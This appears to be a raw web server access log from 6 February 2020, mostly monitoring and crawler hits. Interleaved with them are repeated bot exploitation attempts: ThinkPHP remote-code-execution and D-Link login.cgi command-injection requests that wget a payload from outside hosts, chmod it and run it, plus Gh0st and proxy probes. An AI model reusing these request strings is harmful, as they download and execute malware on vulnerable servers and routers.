1.52.209.172 - - [06/Feb/2020:19:05:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:19:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.129.211.2 - - [06/Feb/2020:19:07:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
85.25.177.187 - - [06/Feb/2020:19:07:15 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
85.25.177.187 - - [06/Feb/2020:19:07:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
212.91.246.72 - - [06/Feb/2020:19:07:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:08:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:09:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.241.94.99 - - [06/Feb/2020:19:09:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
222.186.19.221 - - [06/Feb/2020:19:10:02 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [06/Feb/2020:19:10:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.238.29.106 - - [06/Feb/2020:19:10:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:19:11:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.176.179.70 - - [06/Feb/2020:19:12:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:19:13:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.99.39.172 - - [06/Feb/2020:19:13:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36"
182.48.105.210 - - [06/Feb/2020:19:14:29 +0100] "GET / HTTP/1.0" 200 1229 "http://212.91.246.83:80/" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
212.91.246.72 - - [06/Feb/2020:19:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.48.105.210 - - [06/Feb/2020:19:14:33 +0100] "stats" 501 320 "-" "-"
182.48.99.219 - - [06/Feb/2020:19:14:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:19:14:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor; Windows)"
212.91.246.72 - - [06/Feb/2020:19:15:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor; Windows)"
212.91.246.72 - - [06/Feb/2020:19:15:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:16:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:17:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.143.249.147 - - [06/Feb/2020:19:18:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [06/Feb/2020:19:18:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:19:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:20:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.254.107.116 - - [06/Feb/2020:19:20:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.142.0 - - [06/Feb/2020:19:20:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.170.31 - - [06/Feb/2020:19:20:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.222.30.63 - - [06/Feb/2020:19:21:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [06/Feb/2020:19:21:14 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [06/Feb/2020:19:21:18 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [06/Feb/2020:19:21:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [06/Feb/2020:19:23:29 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [06/Feb/2020:19:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:24:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:25:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:26:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:27:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.189.85.33 - - [06/Feb/2020:19:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [06/Feb/2020:19:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.51.57 - - [06/Feb/2020:19:28:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:19:29:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:31:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.119.97 - - [06/Feb/2020:19:33:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:19:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.16.72.239 - - [06/Feb/2020:19:34:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
221.0.22.147 - - [06/Feb/2020:19:35:24 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:19:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.37.101.62 - - [06/Feb/2020:19:35:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:19:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:37:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.157.39.2 - - [06/Feb/2020:19:37:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
109.117.198.174 - - [06/Feb/2020:19:38:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [06/Feb/2020:19:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:39:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [06/Feb/2020:19:39:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [06/Feb/2020:19:39:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [06/Feb/2020:19:39:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [06/Feb/2020:19:40:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [06/Feb/2020:19:40:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:19:40:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.38 - - [06/Feb/2020:19:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
95.107.172.79 - - [06/Feb/2020:19:42:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:19:42:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.35.93 - - [06/Feb/2020:19:43:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
111.36.110.36 - - [06/Feb/2020:19:43:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:19:44:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:45:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.173.206.196 - - [06/Feb/2020:19:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
128.14.133.58 - - [06/Feb/2020:19:45:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
128.14.134.134 - - [06/Feb/2020:19:46:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:19:46:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.70.105.17 - - [06/Feb/2020:19:46:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [06/Feb/2020:19:47:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.239.123.149 - - [06/Feb/2020:19:47:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
118.68.187.141 - - [06/Feb/2020:19:48:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:19:48:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:49:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.91.160.20 - - [06/Feb/2020:19:49:39 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
212.91.246.72 - - [06/Feb/2020:19:50:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:51:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:52:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.33 - - [06/Feb/2020:19:53:24 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [06/Feb/2020:19:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:55:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [06/Feb/2020:19:56:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [06/Feb/2020:19:57:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:19:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [06/Feb/2020:19:58:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
217.76.42.78 - - [06/Feb/2020:19:59:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
217.76.42.78 - - [06/Feb/2020:19:59:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [06/Feb/2020:19:59:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.67 - - [06/Feb/2020:19:59:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:20:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:01:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.240.205.34 - - [06/Feb/2020:20:02:42 +0100] "Gh0st\xad" 501 321 "-" "-"
212.91.246.72 - - [06/Feb/2020:20:03:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:04:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.192.84.124 - - [06/Feb/2020:20:05:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:20:05:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:07:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:08:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.50.206.127 - - [06/Feb/2020:20:08:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
120.150.181.251 - - [06/Feb/2020:20:08:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:20:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.117.9.100 - - [06/Feb/2020:20:10:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:20:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.42 - - [06/Feb/2020:20:10:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:20:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.245.37 - - [06/Feb/2020:20:12:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:20:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.35 - - [06/Feb/2020:20:13:59 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
1.53.102.125 - - [06/Feb/2020:20:14:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:20:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.35 - - [06/Feb/2020:20:14:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [06/Feb/2020:20:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:20:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
184.72.165.26 - - [06/Feb/2020:20:16:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.229.217.225 - - [06/Feb/2020:20:17:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:20:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.218.148 - - [06/Feb/2020:20:18:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:20:18:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
